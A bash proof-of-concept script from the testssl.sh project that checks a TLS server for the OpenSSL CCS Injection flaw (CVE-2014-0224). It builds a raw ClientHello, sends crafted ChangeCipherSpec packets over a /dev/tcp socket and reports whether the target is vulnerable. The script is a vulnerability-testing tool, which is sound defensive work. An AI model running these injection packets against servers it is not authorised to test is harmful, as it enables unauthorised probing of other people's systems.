195 lines
4.2 KiB
Bash
Executable File
195 lines
4.2 KiB
Bash
Executable File
#!/bin/bash
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# POC bash socket implementation of CCS Injection vulnerability in OpenSSL (CVE-2014-0224),
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# see https://www.openssl.org/news/secadv_20140605.txt
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# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
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#
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# sockets inspired by http://blog.chris007.de/?p=238
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# mainly adapted from the C code from https://gist.github.com/rcvalle/71f4b027d61a78c42607
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# thx Ramon de C Valle
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#
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###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
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NODE=""
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SLEEP=2
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DEBUG=${DEBUG:-0}
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[ -z "$1" ] && exit 1 # host
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TLSV=${2:-x01}
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# TLS 1.0=x01 1.1=0x02, 1.2=0x3
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# the PoC contains per default only check for TLS1.0 as the is the least common denominator
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ccs_message="\x14\x03\tls_version\x00\x01\x01"
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## ^^^^^^^ this is the thing!
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client_hello="
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# TLS header ( 5 bytes)
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,x16, # Content type (x16 for handshake)
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x03, tls_version, # TLS Version
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x00, x93, # Length total
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# Handshake header
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x01, # Type (x01 for ClientHello)
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x00, x00, x8f, # Length client hello
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x03, tls_version, # TLS Version
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x53, x9c, xb2, xcb, # 4 bytes Unix time see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
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x4b, x42, xf9, x2d, x0b, xe5, x9c, x21, # 28 bytes random bytes
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xf5, xa3, x89, xca, x7a, xd9, xb4, xab,
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x3f, xd3, x22, x21, x5e, xc4, x65, x0d,
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x1e, xce, xed, xc2,
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x00, # Session ID length
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x00, x68, # Cipher suites length
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xc0, x13, # ciphers come now, here: ECDHE-RSA-AES128-SHA = TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
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xc0, x12,
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xc0, x11,
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xc0, x10,
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xc0, x0f,
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xc0, x0e,
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xc0, x0d,
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xc0, x0c,
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xc0, x0b,
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xc0, x0a,
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xc0, x09,
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xc0, x08,
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xc0, x07,
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xc0, x06,
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xc0, x05,
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xc0, x04,
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xc0, x03,
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xc0, x02,
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xc0, x01,
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x00, x39,
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x00, x38,
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x00, x37,
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x00, x36,
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x00, x35,
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x00, x34,
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x00, x33,
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x00, x32,
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x00, x31,
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x00, x30,
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x00, x2f,
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x00, x16,
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x00, x15,
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x00, x14,
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x00, x13,
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x00, x12,
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x00, x11,
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x00, x10,
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x00, x0f,
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x00, x0e,
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x00, x0d,
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x00, x0c,
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x00, x0b,
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x00, x0a,
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x00, x09,
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x00, x08,
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x00, x07,
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x00, x06,
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x00, x05,
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x00, x04,
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x00, x03,
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x00, x02,
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x00, x01, # TLS_RSA_WITH_NULL_MD5
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x01, x00" # compression methods length (1) + Compression method(1)
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msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
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parse_hn_port() {
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PORT=443 # unless otherwise auto-determined, see below
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NODE="$1"
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# strip "https", supposed it was supplied additionally
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echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
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# strip trailing urlpath
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NODE=`echo $NODE | sed -e 's/\/.*$//'`
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# determine port, supposed it was supplied additionally
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echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed
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's/\:.*$//'`
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}
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socksend() {
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data=`echo $1 | sed 's/tls_version/'"$2"'/g'`
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echo "\"$data\""
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echo -en "$data" >&5 || return 1
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sleep $SLEEP
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return 0
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}
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sockread()
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{
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reply=`dd bs=$1 count=1 <&5 2>/dev/null`
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}
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ok_ids(){
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echo
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tput bold; tput setaf 2; echo "ok -- something resetted our ccs packets"; tput sgr0
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echo
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exit 0
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}
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#### main
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parse_hn_port "$1"
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if ! exec 5<> /dev/tcp/$NODE/$PORT; then
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echo "`basename $0`: unable to connect to $NODE:$PORT"
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exit 2
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fi
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# socket is now open with fd 5
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echo "##### sending client hello:"
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socksend "$msg" $TLSV
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sleep 1
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sockread 10000
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echo -e "\n##### server hello\c"
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if test $DEBUG ; then
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echo ":"
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echo -e "$reply" | xxd -c32 | head -20
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echo "[...]"
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echo
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fi
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echo "##### sending ccs injection with TLS version $TLSV:"
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socksend "$ccs_message" $TLSV || ok_ids
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sleep 1
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socksend "$ccs_message" $TLSV || ok_ids
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sleep 1
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sockread 65534
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echo
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echo "###### reply: "
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echo -e "$reply" | xxd -c32
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echo
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reply_sanitized=`echo -e "$reply" | xxd -p | tr -cd '[:print:]' | sed 's/^..........//'`
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test $DEBUG || echo $reply_sanitized
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lines=`echo -e "$reply" | xxd -c32 | wc -l`
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test $DEBUG || echo $lines
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if [ "$lines" -gt 1 ] || [ "$reply_sanitized" == "0a" ] ;then
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tput bold; tput setaf 2; echo "ok"; tput sgr0
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ret=0
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else
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tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
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ret=1
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fi
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# closing fd:
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exec 5<&-
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exec 5>&-
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echo
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exit $ret
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# vim:tw=100:ts=5:sw=5
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# $Id: ccs-injection.sh,v 1.5 2014/11/03 20:45:47 dirkw Exp $
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